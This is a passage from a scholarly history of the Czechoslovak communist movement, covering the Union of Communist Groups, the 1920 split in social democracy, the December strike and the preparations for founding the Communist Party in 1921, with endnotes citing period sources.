32. The election results were: social democrats 30.1 percent of the votes, the Agrarian Party 20.5 percent, socialists 15.6 percent, the Czechoslovak People's Party 9.7 percent, national democrats 8.2 percent etc. Olivová, Cˇeskoslovenské deˇjiny 1914–1939, 108 and Klimek, Boj o Hrad (1918–1926), 55–56.
33. Sociální demokrat, 11 July 1919, 4–5.
34. "Proclamation of Party Tactics presented by members of the Czechoslovak Social Democratic Left to the party's representation on October 5," 1919, in Založení KSCˇ. Sborník dokumentu˚ z let 1917–1924 (Prague: Státní nakladatelství politické literatury, 1954).
35. Sociální demokrat, 10 October 1919, 1.
36. Keynote address of the Marxist Left in the Czechoslovak Social Democratic Workers' Party given at a separate conference of the Left held on December 7, 1919.
37. Sociální demokrat, 21 January 1920, 1—2.
38. Koloman Gajan, Prˇíspeˇvek ke vzniku KSCˇ—Od prosincové generální stávky do slucˇovacího sjezdu KSCˇ (Prague: Státní nakladatelství politické literatury, 1954), 25.
39. "Pre-election manifesto of the Czechoslovak Social Democratic Workers' Party's Left wing issued on March 7, 1920," in Založení KSCˇ. Sborník dokumentu˚ z let 1917–1924, 46.
40. Založení KSCˇ. Sborník dokumentu˚ z let 1917–1924, 49–50.
41. Založení KSCˇ. Sborník dokumentu˚ z let 1917–1924, 51.
42. Olivová, Cˇeskoslovenské deˇjiny 1914–1939, 113.
43. For example, Olivová, Cˇeskoslovenské deˇjiny 1914–1939, 114.
# Chapter 5
## En Route to the
Communist Party
Communist Groups
In the previous chapter, I briefly mentioned the development in the anarchist group after it joined the Czechoslovak Socialist Party. During the second half of 1919 and the first half of 1920, the differences of opinion between the former anarchists and the national socialists further intensified. The first sign of the suppression of the anarchists, who formed a sort of a left faction in the party, was the removal of B. Vrbenský from his ministerial post. It was at the wish of the Agrarian Party that he was the first to be replaced in Tusar's government by a member of the right wing of the Socialist Party, one of the owners of the Czech Democracy magazine, Ferdinand Heidler. In North Bohemia, where anarchists were quite strong in the union movement, this move caused a wave of strikes.1
After the parliamentary elections in 1920, the last of the former anarchists, S. K. Neumann, a member of parliament at the time, left his top political post in the Socialist Party. Four former anarchist supporters got the mandates; however, these four—B. Vrbenský, T. Bartošek, L. tychová and V. Draxl—were not collaborating with Neumann's group at the time. As has already been mentioned, in 1919 Neumann sided with the politics of the Communist International and the Russian Bolshevik Party; the magazine he led then became a platform for spreading communist ideas. Until the parliamentary elections, people around Neumann kept their distance from the social democratic Left, particularly because of B. meral, whom they blamed for his opportunist politics during the war. As of April of 1920, contact between the group around the Cˇerven magazine and the social democratic Left intensifies.
In April of 1920, Neumann and the Cˇerven magazine officially support the Comintern. On April 8, an article entitled "On the Issue of the Communist Party in the Czechoslovak Republic" is published in Cˇerven, which reads: "From such brew only one thing can arise: a communist party, which would bring liberation from today's confusion and merely by its existence would make others admit their true colors. . . . It is an unconditional moral prerequisite of the future communist party that those who see it as necessary and want to join its ranks stop hiding behind Marxism, anarchism or the Left and, without a compromise and a vain emphasis on various shades of color, call themselves communists."2 At a preliminary meeting of the Federation of Czech Anarcho-Communists, people around Neumann decide on the transfer of anarchist groups in the Union of Communist Groups; on May 13, 1920, the Proclamation to the Northern Proletariat is published in Cˇerven, announcing the termination of all contacts with the Czechoslovak Socialist Party and endorsing the idea of a communist party. The authors of the leaflet call upon the proletariat to "put aside any fruitless theoretical feuds, break contact with all social patriots and come together in a united communist party."3
At a workers' conference in Lom in North Bohemia, held between May 23 and 24, Neumann announces the objectives of the Union of Communist Groups. "Our goals are not riots, useless strikes and hot-blooded stunts, but disciplined organization and raising public awareness. It is up to us to spread and explain the program of the Third International, the program of socialism in action, which finally came into existence following all the utopian and pseudo-scientific straying; our job is to explain and spread the institution of workers', rural and military soviets, get the proletariat acquainted with the constitution of the soviet republic, the proletarian and socialist republic and act with the collaboration of all class-conscious workers with the mind and hands of theoretical as well as practical preparation for a time, when the domestic and foreign situation of our country will call upon the proletariat to fight its last battle against the old capitalist world."4
Starting on June 15, the Cˇerven magazine starts a new section called the Newsletter of Communist Groups. In its first appearance, the Communist Groups define themselves as "independent and non-secret local groups of confidants that promote uncompromising socialism of the Third International and carry out preparatory tasks for the foundation of a communist party in the Czechoslovak Republic. . . . Therefore, they cannot be too numerous or accept in their midst people without proper selection."5 S. K. Neumann and H. Sonnenschein were entrusted with the establishment of contacts abroad, especially with the Third International. At that time, a member of the Union of Communist Groups, Emanuel Vajtauer, was stationed in Soviet Russia, having left for Moscow in January of 1920. From there, he contributed to the Cˇerven magazine with his observations of the Soviet model.
It is important to note that the Union of Communist Groups was a direct successor of the prewar anarchist movement, although the group around Vrbenský, who after being ousted from top political posts remained in the Socialist Party, refused to join it. Proof of the continuity of the anarchist movement is the geographical distribution of communist groups, which can be found particularly in North Bohemia. A special exception, similarly to the pre-war era, is formed by the Prague Left Intelligentsia, surrounded around Cˇerven, which oftentimes with its anarchist methods assumes the decisive power in the Union of Communist Groups. The Prague group, especially its ideological leader, S. K. Neumann, often used reasons and means which contradicted the policies of the Comintern, and its members sometimes displayed opinions following up on the anarchist past, completely ignorant of the actual political situation and especially the Comintern's demands. For example, Vajtauer in his articles defended the idea that the revolution should triumph in Russia even without the political organization of the working class, that is, without the Bolshevik Party. This opinion undoubtedly relates to the anarchist ideas that all political organizations, including political parties, need to be eliminated.6
The Union of Communist Groups was established as an exclusive organization, a sort of an avant-garde of communism in Czechoslovakia, and their organizers considered themselves to be the founding fathers of communism in Bohemia. "Against the essentially correct idea of the Marxist Left to form a strong and influential mass revolutionary party, the communist groups presented their own concept, laden with the remainder of anarchist individualism, i.e. by the effort to form a small, exclusive, purely communist party, a party of leaders."7 The organizers of the communist groups did not want to wait with the establishment of the Communist Party for the resolution of the schism in social democracy and believed that it was possible to found the Communist Party right away, even without mass support. This position obviously complicated communication with meral's leadership of the Left in social democracy. Therefore in spite of the similarity in ideology they declared, for another year both groups acted on their own and oftentimes even encountered mutual conflict. This is not meant as criticism of Neumann's group, but I do consider it necessary to point out the feeling of exclusiveness of the former anarchists, who in many cases were artists, journalists, and so on,8 a feeling which was to appear also in later years.
The Union of Communist Parties also sent its own delegation9 to the second congress of the Communist International, which was held from July 19 to August 6, 1920. E. Vajtauer and I. Olbracht were joined in Moscow by H. Sonnenschein and H. Malírˇová. "They were commissioned to inform comrades Kamil Zeman [I. Olbracht] and E. Vajtauer about the progress of the communist movement in our country and together with them draw up a memorandum on the situation in the Czechoslovak Republic for the Third International and request further directives from the Executive Committee of the Third International."10 Following the congress, on August 17, 1920, Sonnenschein voiced strong criticism of the Czechoslovak social democratic Left before the Comintern's Executive Committee. In his speech, he labeled meral an opportunist and in the end demanded that the Comintern recognize the Union of Communist Parties as the Communist Party in Czechoslovakia. However, the Executive Committee refused to accept this on the grounds of the extreme leftism of the Union of Communist Groups. The main reason was the idea that it was possible to build a small communist party; the Comintern at the time was dominated by the stream which demanded the building of mass communist parties. However, it is not clear what role B. meral played in the decision making of the Comintern's Executive Committee, while he stayed in Moscow already from April of 1920.
Two days before Sonnenschein's speech, the first meeting of the Central Council of the Communist Groups was held in Prague. According to Cˇerven, "most speakers resolutely rejected further waiting and depending on elements that were once again very much of an opportunist nature."11 A resolution was unanimously passed to immediately establish the Communist Party: "Without any further ado, the communist party must be established in the Czechoslovak Republic, which is to be built up entirely on the foundations of the Third International. . . . In the near future (in four weeks at the latest), the communist party must be established and its proclamation, program and organizational rules published."12
The Union of Communist Groups immediately got down to organizing the Communist Party. The editorial staff of the Cˇerven magazine distributed membership cards among supporters; the Preliminary Organizational Rules of the Union of Communist Groups were published in the magazine's twenty-forth issue and Cˇerven was bound to be subscribed to by all members as the Union's official press institution: "Each member of the Union is obliged to subscribe, either directly or through the local newspaper delivery service, to the Union's official paper, which at this time is the Cˇerven weekly."13 In early September of 1920, the "Conditions of Acceptance in the Communist International" are published in Cˇerven. the magazine's thirtieth issue then brings the "Message of the Executive Committee of the Third International to the Czechoslovak Proletariat," which reads: "The Executive Committee expects with all certainty that both the Marxist Left and the communist groups will unite their efforts to establish a united communist front in the entire Czechoslovakia. In the near future, an initiative must come out of the Czechoslovak movement to form a united centralized communist party, which would include the revolutionary proletariat of all nationalities on Czechoslovak territory."14 Despite this appeal, the relationship between the Union of Communist Groups and the social democratic Left does not get any better, not even after the September social democratic congress, at which the Left gained positions in the party. During the congress (which will be dealt with in a separate chapter), the Cˇerven magazine assumed a very critical position in its article on the Union of Communist Groups and the Left Social Democratic Party. According to its author, "the compromise of a result of the congress of the left-wing social democratic party once again caused chaos among the proletariat. . . . However, blame cannot be attributed to the dissension in social democracy, which is a healthy and natural necessity of the time; what should be blamed is the fact that for tactical reasons the split of social democracy was not carried out in a clean manner. . . . Communists, completely independent of the social democratic party, must go their own way."15 The Union of Communist Groups was not drawn in to collaborate, even though the Left promised the Union in an addendum to the Organizational Rules two seats on the party's executive committee; just for the sake of illustration, the communist legionaries were promised three times as many seats.
On the contrary, Cˇerven added oil to the flames when, starting with its thirty-fifth issue, it published a series of letters by H. Sonnenschein from Moscow. In his articles, entitled "Moscow and Prague," Sonnenschein gives an account of his appearance in front of the Executive Committee of the Comintern, where, among other things, he said: "So far there is still no communist party in Czechoslovakia (the current communist groups exist only of their own initiative). . . . Also in the Czechoslovak Left, whose leaders always depended on the ideas and politics of German and Austrian social democracy, the spirit of Kautsky still lingers on."16 Sonnenschein also wages an attack on B. meral as a representative of the Left.
Dear Dr. meral, it is said that also you have learned in Soviet Russia that the essence of the Russian comrades is their revolutionary spirit. It is very unfortunate for revolution, though, when it is people like yourself who take the lead, people who have neither the revolutionary instinct nor development; in many ways such people represent a threat to the revolutionary development. . . . Dr. meral, may you have more of the revolutionary spirit and courage, fewer tactics and more common sense, fewer words and more actions."17
According to Sonnenschein, the Union of Communist Groups, which he considers to be the true communist organization, merges with the social democratic Left.
It is an ungratifying, difficult, and unpopular role for the Union of Communist Groups to play the part of a guardian, safeguarding that the necessity of revolution is not buried in fruitless discussions and that communism is not compromised among the masses by the opportunist tactics of incompetent revolutionaries! Until then we are forced to distinguish ourselves from the leadership of the social democratic Left, which due to a lack of reason and desire has so far been hesitant to take advantage of the revolutionary crisis in a revolutionary manner.18
Dissension in the Czechoslovak Social Democracy
Although following the parliamentary elections in April of 1920 the government of the red and green coalition was renewed with social democratic Prime Minister Vlastimil Tusar, his cabinet could no longer count on the support of the members of parliament, who sided with the Bolshevik Left in social democracy. Upon their entry to parliament, twenty-eight left-wing deputies and senators issued a proclamation distancing themselves from the government and thus joining the opposition.19 The text of the proclamation deals mainly with the issue of improving the social standing of the population by way of economic socialization. At its end, the signatories endorse the idea of world revolution: "We also see the Third, Moscow International as the only possible political body integrating the proletariat of all countries, void of any illusion or self-deceit, and with longing in our hearts we are awaiting a time when also the Czechoslovak proletariat will join it with both word and action."20 Despite this rhetoric, left-wing members of parliament did support the government of Prime Minister Tusar.
The Left's center remained in Kladno. Immediately after the elections, Antonín Zápotocký proposed to the social democratic leadership that the party leave the government, but his proposal did not get the necessary support. Following this failure, the Kladno organization took the lead in the resistance movement against the party's leadership. "Several days after the parliamentary elections, on April 23 and 24, new works council elections were held in the Kladno region. Fifty local and eight regional councils were set up, and on May 2, at their representatives' conference, an interim Central Works Council was elected. These organizations, copying the example of the Bolshevik soviets, tried ever more daringly to interfere with the political and economic processes in their areas, when next to Kladno also the Brno and Rosice-Oslavany regions were also turning 'red.' The country faced the threat of double government."21 As an insert to the Left's paper Kladenská svoboda (Kladno Freedom), the Works Councils' Newsletter starts to be published. The presidential election held on May 27, 1920, also revealed the political positions and goals, when A. Muna received four votes and the former leader of the Slovak Soviet Republic, A. Janoušek, gained two votes.
The Social Democratic Party's disintegration occurred in the summer of 1920 in connection with the development of the Polish-Russian war, which started in April of 1920 with the Polish military campaign toward the East, which in essence meant a continuation of the Allies' intervention against Soviet Russia. Although Tusar's government maintained neutrality during the conflict—much to Poland's displeasure—it was accused by the social democratic Left of supporting and supplying weapons to the Polish army. However, following the initial success of the intervention forces, the Red Army launched a counterattack and in mid-August, its units advanced to just before Warsaw. The advancement of the soviet forces gave rise to a wave of revolutionary and pro-communist sentiment not only in Czechoslovakia, but virtually all across Europe.
In the mid-1920s, the social democracy's right wing looks for ways of ridding the party of communist supporters. On July 12, a meeting is held in the National House in Smíchov to decide on the organized fight against the party's left wing. The Leftists were supposed to be "expelled from the party so they could not participate in the congress."22 The congress was scheduled for late September of 1920. At this time, fierce fights were taking place as to who should be delegated to attend the congress. The Left pressed for a large delegation to be sent from the works councils, whereas the Right counted more on the so-called virilists, chosen by the party's leadership. After the second congress of the Comintern, at which the conditions for acceptance into the Communist International were passed, the Left practically proclaims itself to be the party's leadership. The Sociální demokrat paper publishes twenty-one conditions for entry,23 and although it is not the official press body of the party, it convokes the party's congress.
The social democratic leadership, unable to withstand the schism in the party, seeks support for its resistance against its left wing in the Agrarian Party and also in President Masaryk. On September 14, on the same day that the party's leadership announces the postponement of the congress till December 25, 1920, social democratic ministers hand in their resignation. "The crisis of the Cabinet as well as the entire domestic crisis lay in the crisis of the social democratic party, whose communist section ceased to support the red-and-green coalition and was at the time of the resignation of Tusar's government expelled from the party. The measures that were originally proposed by Hudec and Modrácˇek's group in the spring of 1919 and received with scorn, were carried out one and a half years later, when communists had already infiltrated the party through all pores possible, having gained the majority in the party, so in fact the minority was expelling the majority from the party—which soon became evident."24
The Left reacted by accusing V. Tusar of subverting the party. "Upon Prime Minister Tusar's proposal, the party's representatives decided to delay the congress to December 25, which the Right explained by the fact that the issue between the coalition and the bourgeoisie had ceased to exist and that it was also necessary to discuss in the organizations the question of entry to the Third International. The true reasons for this act of violence was the effort to subdue the Left wing of the party, backed by a vast majority of workers, as at the same time, on Tusar's orders, a proposal was passed by the party's representation to make the party's executive committee take all steps necessary to ensure the party's existence, which in fact meant that uncompromising comrades were to be expelled from the party so that the party could become more acquiescent a tool for the bourgeoisie."25 The Left then, by means of the Sociální demokrat paper and following the forceful occupation of the editorial office of the Právo lidu newspaper, convokes also through the Rudé právo (Red Law) newspaper the congress of the Social Democratic Party on the original date. The congress was to show the amount of support the communist Left enjoyed.
The nationwide congress of the party was preceded by the congress of the Slovak Social Democratic Party, which although postponed by the party's leadership, was held on September 19, 1920, in Turcˇanský Sv. Martin. Of the 128 delegates present, only 11 supported the party's leadership and left the congress. The congress then accepted the conditions of the Comintern and declared the formation of the revolutionary Party in Slovakia. "The social democratic party in Slovakia was practically eliminated by this congress."26
On December 25, the thirteenth congress of the Czechoslovak Social Democratic Workers' Party was held at the Municipal House in Prague. The congress was attended by two thirds of the delegates.27 The opening speech was presented by B. meral, the vice-chairman of the party's central executive committee. In his speech, meral denounces the politics of the party's leadership for the previous two years. "The past two years have shown that the system of coalition with bourgeois parties cannot lead to the fulfillment of what the proletariat must strive for."28 The congress also declares the new press bodies of the party, so instead of the Právo lidu (Right of the People) and its Vecˇerník (Evening Paper)—both in the hands of the social democratic right—the new official papers of the party were Rudé právo (Red Law) and Rudý venkov (Red Country). This step led to a change in the form of the former official press of the Left, the Sociální demokrat, which starts to focus on articles on the history of the communist movement and other educational activities.
Senator Josef Hybeš was appointed honorary chairman of the party, which kept the name "social democratic," while the position of the party's chairman was held by B. meral. The congress accepted the condition of the Comintern and approved its action program, which for example states that "the best form of a proletarian state and the higher type of state administration is the proletarian democracy, the democracy of the working masses, the expression of which is the system of councils."29 The delegates at the congress also espouse the Third International: "The Executive Committee is appointed to immediately establish contact with the Moscow Committee of the Third International to ensure that our acceptance becomes reality. Measures are to be taken to ensure that the general public of comrades be informed of these steps at all times and that the organizations have the possibility to have their say regarding the decision to join and its conditions either by way of a referendum or at the party's congress."30
A representative of the left wing of German social democracy in Czechoslovakia, K. Kreibich, also gave a speech at the congress, by which the communist movement in Czechoslovakia gained an "international" character in line with the requirements of the Communist International. In his speech, Kreibich, among other things, said: "What we expect of you is to raise the red flag of international revolutionary socialism and invite us to join you under the flag to create a united, strong war front of the entire revolutionary proletariat of this state."31
However, in German social democracy in Czechoslovakia, the left and right wings were in balance at this time and acted as one party, as was confirmed at the party's congress in Karlovy Vary in October of 1920. There, the party's Left faction was defeated when J. Seliger, a member of the Right, was elected chairman of the party. The congress also passed a resolution, in which it "binds the members to absolute unity, while recognizing the right of all members to discuss all problems of socialism according to their creed. Members are to refrain from any hateful, personal feuds within the party, either in the party press, at meetings or in the party's organizations."32
In the Czechoslovak social democracy, on the contrary, the congress of the Left resulted in a definitive schism and practically the establishment of a new, Bolshevik party, which still presented itself under the name of social democracy. meral and the institutions elected at the congress considered themselves the only bearers of the continuity of social democracy,33 while the right wing of the party considered the congress invalid. On September 30, the old executive committee (of the Right) also expelled from the party participants of the "communist conference." On October 7, the left-wing deputies and senators separated themselves from the social democratic parliamentary group and formed a group of their own. The congress of the Left brought about double government, for which the only possible solution was the formal division (the factual division had already occurred) of the party.
The dissension in the Social Democratic Party was accompanied also by the splitting of related organizations. In Bratislava on September 5, 1920, the Socialist Youth of Slovakia at its congress claims allegiance to the Comintern and changes its name to the Union of Communist Youth Workers in Slovakia. At the second congress of the Czechoslovak Social Democratic Youth held on October 23 to 24, a major difference of opinion arises between the organization's right and left wings, which resulted in the left wing separating and becoming independent. A similar process also occurs in late October and early November of 1920 in the German Social Democratic Youth in Czechoslovakia. In late November of 1920 (November 27 to 29), a congress of the Right34 is held, which in terms of ideology clearly separated itself from the Left. Social democracy presented itself as an anti-communist, anti-soviet, and a reformist party. The collaboration with bourgeois parties thus far was assessed as successful.
I have already mentioned that at its congress, the Left declared it was taking over the party's property. However, the right-wing leadership did not agree with this decision and sought a legal way of getting the People's House Hall, which was formally35 owned by A. Neˇmec, a supporter of the Right, back. "The legal proceedings resulted in a court decision, according to which the Left was to clear the People's House Hall as well as the editorial and printing offices. When the Left refused to accept the court's decision, on December 9, the People's House Hall was taken over by the police."36 The property was then put in the hands of representatives of the right wing. This event became an immediate cause for a revolutionary outbreak, which turned into an attempt at a communist coup in Czechoslovakia.
Already on December 10, the Left called a general strike, shortly after joined by roughly a million people. The strike was not supposed to be a mere protest against the occupation of the People's House Hall. Communists also presented other requirements of a revolutionary character, such as putting an end to the persecution of the communist movement and releasing the left-wing supporters who had been arrested during the occupation of the People's House Hall; the resignation of the caretaker government of Jan Cˇerný; a stop to the confiscations and a guarantee of unlimited freedom of speech; setting up workers' controls at large farms and factories; increasing wages by 30 percent, and so on.37 The Kladno organization led by A. Zápotocký took the most active position in the attempt at revolution.
As in many places around the country, the strike ended in the theft of private property and looting, Cˇerný's government managed quite quickly to suppress the coup attempt. What helped the swift intervention was that noncommunist parties and other organizations distanced themselves from the strike, thus limiting its support only to members of the communist movement. The social democratic Left was joined only by Kreibich's wing of German social democracy and the Union of Communist Groups. A harsh intervention against the organizers of the unrest made the Left call off the strike and admit defeat already on December 15. More than three thousand people were imprisoned and a number of them were later brought to trial. The harshest, eighteen-month sentence was handed out to A. Zápotocký, leader of the Kladno communists. Zápotocký commented on the defeat as follows: "The defeat we suffered led to the conclusion that not even the social democratic Left and its leadership is the element which would be able to resolve the basic and tactical problems the Czech and Slovak proletariat has faced in the revolutionary time following WWI. Also in the social democratic Left there was still much fluctuation and little clarity. There were tendencies towards old-style politicking and individual elitism. Selfish interests of individuals were at play, when for lack of true class loyalty, people could not subordinate the interests of individuals to the interests of the whole. However, learning about all these mistakes and insufficiencies did not lead to depression. On the contrary, it sped up the development of the calling for a real tool of the revolutionary struggle against capitalism, a disciplined communist party."38
The defeat of the communist coup had a positive impact mainly on the activities within the Social Democratic Party. The era of double government came to an end and the position of the right wing as the party's continual successor was confirmed. The Left, which had been hesitant about dropping the name "social democratic" from its name, quickly began to move toward the establishment of a communist party. In the following months, the situation on the left side of the party's political spectrum cleared.
Notes
1. Jirˇí Tu˚ma, Na cesteˇ ke komunistické straneˇ (Liberec: Sverocˇeské nakladatelství, 1975).
2. Cˇerven, 8 April 1920, 37.
3. Leaflet to the Northern Proletariat. Koloman Gajan, Prˇíspeˇvek ke vzniku KSCˇ—Od prosincové generální stávky do slucˇovacího sjezdu KSCˇ (Prague: Státní nakladatelství politické literatury, 1954), 32.
4. Gajan, Prˇíspeˇvek ke vzniku KSCˇ, 33.
5. Cˇerven, 15 June 1920, 172.
6. J. Tu˚ma deals with Vajtauer's activity in his communist period. In his book, he writes: "Truth be said, Vajtauer wrote about the proletarian revolution with enthusiasm, he admired the soviet state and the system of the dictatorship of the proletariat. However, his views and conclusions were often in contradiction to scientific revolutionary principles, especially those of Lenin." Tu˚ma, Na cesteˇ ke komunistické straneˇ, 57.
7. Tu˚ma, Na cesteˇ ke komunistické straneˇ, 61.
8. In communist terminology, the general expression is "cultural workers."
9. Various literature sources often mistakenly state that Czechoslovakia was represented in Moscow only by one delegation led by meral.
10. Cˇerven 3, no. 18, 215.
11. Cˇerven 3, no. 23, 274.
12. Cˇerven 3, no. 23, 274–75.
13. Cˇerven 3, no. 24, 288.
14. Cˇerven 3, no. 30, 358.
15. Cˇerven 3, no. 32, 373–74.
16. Cˇerven 3, no. 36, 425.
17. Cˇerven 3, no. 37, 447–48.
18. Cˇerven 3, 447–48.
19. The proclamation was signed by deputies J. Blažek, G. Borovský, E. Burian, A. Cˇerný, . Dahula, D. Ertl, J. Haken, V. Charvát, R. Klein, T. Koutný, J. Krˇíž, L. Kucˇera, R. Kunst, A. Malá, R. Merta, V. Mikulícˇek, J. Roucˇek, J. Skalák, F. Skaunicová, K. Sveˇtlík, A. Sychravová, H. Tausik, F. Toužil, and senators J. Dráb, J. Hybeš, T. Matušcˇák, J. Pru˚ša, and A. Svraka—a list of signatories was published in Sociální demokrat, 3 June 1920, 1.
20. "Proclamation on Parliamentary Tactics of Left-wing Social Democratic deputies and senators issued on the occasion of their joining the National Assembly in April of 1920," in Založení KSCˇ. Sborník dokumentu˚ z let 1917–1924 (Prague: Státní nakladatelství politické literatury, 1954), 53–57.
21. Antonín Klimek, Boj o Hrad (1918–1926) (Prague: Panevropa, 1996), 135.
22. Gajan, Prˇíspeˇvek ke vzniku KSCˇ, 34.
23. Sociální demokrat, 9 September 1920, 2–3.
24. Josef Hudec, Bolševism v Cˇeskoslovenské republice (Prague: Národní odbor Cˇeskoslovenský Mezinárodní dohody proti III. internacionále, 1927), 9.
25. Sociální demokrat, 16 September 1920, 1.
26. Veˇra Olivová, Cˇeskoslovenské deˇjiny 1914–1939 (Prague: Karolinum, 1993), 134.
27. It is very difficult to determine the exact number, as the number differs, though only slightly, from source to source: V. Olivová puts the figure at 64 percent in her book Olivová, Cˇeskoslovenské deˇjiny 1914–1939, 134, J. Galandauer 69 percent. Jan Galandauer, Od Hainfeldu ke vzniku Komunistické strany Cˇeskoslovenska (Prague: Svoboda, 1986). According to Rudé právo (Red Law) of September 26, 1920, 326 of 466 elected delegates attended the conference, that is, 61 percent.
28. Protokol XIII. Rˇádného sjezdu Cˇeskoslovenské sociálneˇ demokratické strany deˇlnické, jenž se konal 25.–28. zárˇí 1920 ve Smetanoveˇ síni Obecního domu v Praze (Prague: Nákladem tiskového výboru CˇSDSD, 1920), 12.
29. "Extract from the action program of the Thirteenth Congress of the Czechoslovak Social Democratic Workers' Party held on September 25–28, 1920," in Založení KSCˇ. Sborník dokumentu˚ z let 1917–1924, 72.
30. Založení KSCˇ. Sborník dokumentu˚ z let 1917–1924, 74.
31. Protokol XIII. Rˇádného sjezdu Cˇeskoslovenské sociálneˇ demokratické strany deˇlnické, jenž se konal 25.–28. zárˇí 1920 ve Smetanoveˇ síni Obecního domu v Praze, 71.
32. Protokoll der Verhandlungen des zweiten Parteitages der Deutschen sozialdemokratischen Arbeiterpartei in der Tschechoslowakischen Republik. (Abgehalten vom 3.–7. Oktober 1920 in Karlsbad) (Teplitz—Schönen, 1920), 7.
33. Among other things, the congress also decided on the transfer of ownership to the administration of the new leadership.
34. Held as the thirteenth congress of CˇSDSD, the congress of the left wing was considered invalid.
35. Political parties could not own any property themselves; therefore, their property was registered under the names of its members.
36. Olivová, Cˇeskoslovenské deˇjiny 1914–1939, 134.
37. Olivová, Cˇeskoslovenské deˇjiny 1914–1939, 135.
38. Antonín Zápotocký, Rudá zárˇe nad Kladnem (Prague: Cˇeskoslovenský spisovatel, 1953), 387.
# Chapter 6
## Czechoslovak Communist Party Established
Pre-Congress Preparations and the
Consolidation of Communist Organizations
The defeat of the communist coup in December of 1920 and the subsequent clarification of positions within the Social Democratic Party paved the way to the foundation of a Communist Party. The Communist International called on the Czechoslovak Marxist organizations to establish a Communist Party as early as in August of 1920; however, for the reasons presented in the previous chapter, no major steps were taken to build an international (meant within Czechoslovakia) Bolshevik party until the end of 1920. As of the beginning of 1921, the situation changes.
Already on January 1 and 2, a nationwide conference of the Czechoslovak social democracy (the Left) is held in Prague, attended by representatives of the left social democratic wings of all nationalities in Czechoslovakia.1 Its participants agreed on an organized joint effort to establish a united Communist Party. The conditions of entry to the Communist International were to be discussed in local, district as well regional organizations, after which the constituent congress of the Communist Party was to be convoked on March 26 to 27, 1921. The conference also demanded new parliamentary and municipal elections so that "the composition of these organizations corresponded to the change in the electorate's convictions."2
Apart from the coming together of the left wings in individual social democratic parties, the process of the establishment of the Communist Party is joined by the until then autonomous Union of Communist Groups. I have already mentioned that the editors of the Cˇerven magazine joined the general strike in December. In January of 1921, the Union of Communist Groups strongly protested against the trials of the initiators of this strike. In an article entitled "Traitors Again," we can read:
The treason trials, which are in the works, are the last proof of our bourgeoisie trying to equal in all aspects the old Austria. The trials will not be much different from the treason trials conducted in Austria: in essence it will be one and the same thing. What the trials are about is the suppression of a political and social movement. . . . The bourgeoisie in all countries knows that discussions with true socialists, whose number is rapidly increasing, can be had on just about anything except the war against Soviet Russia. Just as the bourgeoisie looks up to its holy alliance of the League of Nations as its general staff and to Paris as the center point of its reactionary politics, the brave socialists and the revolutionary proletariat look up with all their might, love and hope to the Third Communist International.
Yes, our headquarters is in Moscow, as that of the bourgeoisie is in Paris. In old Austria we were imprisoned and persecuted, they called us troublemakers and traitors not because we were nationalists, but because we worked for revolutionary socialism and against all forms of reaction in the state. The old regime is returning under a different flag and different dynasty—it cannot expect the old socialists to act differently under the same circumstances.3
Following an extraordinary congress of the left wing of the Social Democratic Youth, which on February 6, 1921, approves the organization's joining the Young Communist International, the Union of Communist Groups calls upon its youth organizations to join the International Communist Youth Union in Czechoslovakia.
One of the first left wings of social democratic parties to espouse the idea of joining the Communist International was the Marxist Left of Slovakia and Carpatho-Ukraine, at its congress held in Lubochna on January 16 and 17, 1921. The delegates4 unanimously supported joining the Comintern and also approved the action program, which organized the interim Slovak Communist Party until it joined the united countrywide party.
In late January of 1921, a conference of the Union of Communist Groups was held in Lom, North Bohemia, which called for the creation of a united Communist Youth Union. Two weeks after the February 6 congress, representatives of all national sections agreed on its establishment. The merging of youth organizations and their connection with the emerging Communist Party raised the attention of government institutions. "Based on Decree No. 7538 of the presidium of the Ministry of Internal Affairs of March 24, 1921, the organizations in Teplice anov, Ústí nad Labem, Liberec, Podmokly, Trutnov, Chomutov, Karlovy Vary, Krumlov, Brno, Ostrava, umperk, Jablonec, Frýdlant, Opava, luknov and in other places were closed down."5 According to Rudé právo newspaper, the excuse for shutting down the above-mentioned organizations was that they were established as associations without respecting the obligations defined by the law, and their activity was directed against the foundation of the Czechoslovak Republic and "intended to spread subversion in the Czechoslovak army."6
The process of clarification also took place in the German Social Democratic Party in Czechoslovakia. On January 8, 1921, the party's leadership, without J. Seliger, who died in October of 1920, strongly criticized the fact that the Left around the Liberec organization and K. Kreibich had joined the general strike in December of 1920. This act was considered a breach of party discipline and the Karlovy Vary declaration. Shortly afterward (January 9 and 10), a conference of the Left was held in Liberec. Toward its end, the delegates passed a resolution, which stated:
We demand that an extraordinary congress of the party be summoned, which should make it clear whether the entire party wants to unconditionally accept the twenty-one conditions of the Third International and join it, leave behind opportunism and become an operational party and single-mindedly support the establishment of an international Communist party in Czechoslovakia.7
A week later, on January 17, the Liberec organization was expelled from the German social democracy. The conference of the Liberec region, held on January 30, 1921, called an extraordinary congress for March 12, which was to deal with the conditions of the Comintern. This congress transformed into the constituent congress of the Communist Party of Czechoslovakia (its German section).
German communists in Czechoslovakia at the time were already collaborating with the Union of Communist Groups, whose delegates attended the congress. S. K. Neumann, who represented the Union, criticized the Czechoslovak Left at the congress. "This proclamation of yours will undoubtedly contribute a great deal to the elimination of the chaos in the working class movement and also to helping open the eyes of the proletariat, which due to its indecisiveness and the lack of courage of its leaders, is still in social democracy."8 Neumann's speech targeted B. meral, who for tactical reasons hesitated in renaming the social democratic Left to the Communist Party. Thanks to his position, he came into conflict not only with Neumann and Kreibich, but also caused dissatisfaction in the Moscow headquarters of the Third International, especially after the congress was moved from March to May. The International even sent agents to Czechoslovakia who were supposed to speed up the process of establishing the Communist Party. One of these agents was a Hungarian revolutionary, Bela Kun.
The constituent congress of the German section at its meeting approved a resolution, which read: "The congress is fully aware that a precondition for all revolutionary proletarians in the Czechoslovak Republic joining the Third International is the foundation of a united international Communist Party. With today's resolution [of March 13, 1921], a temporary union of the German revolutionary proletariat comes into existence under the communist flag and that of the Third International, and its members are ready to unite with the revolutionary proletariat of other nations of this state in a united Communist Party. When and in what way the unification will be carried out depends on the development of the Czech Left, of which the Czechoslovak revolutionary proletariat expects that at its Whitsuntide9 congress it will also pass a resolution to establish a Communist Party and join the Third International."10
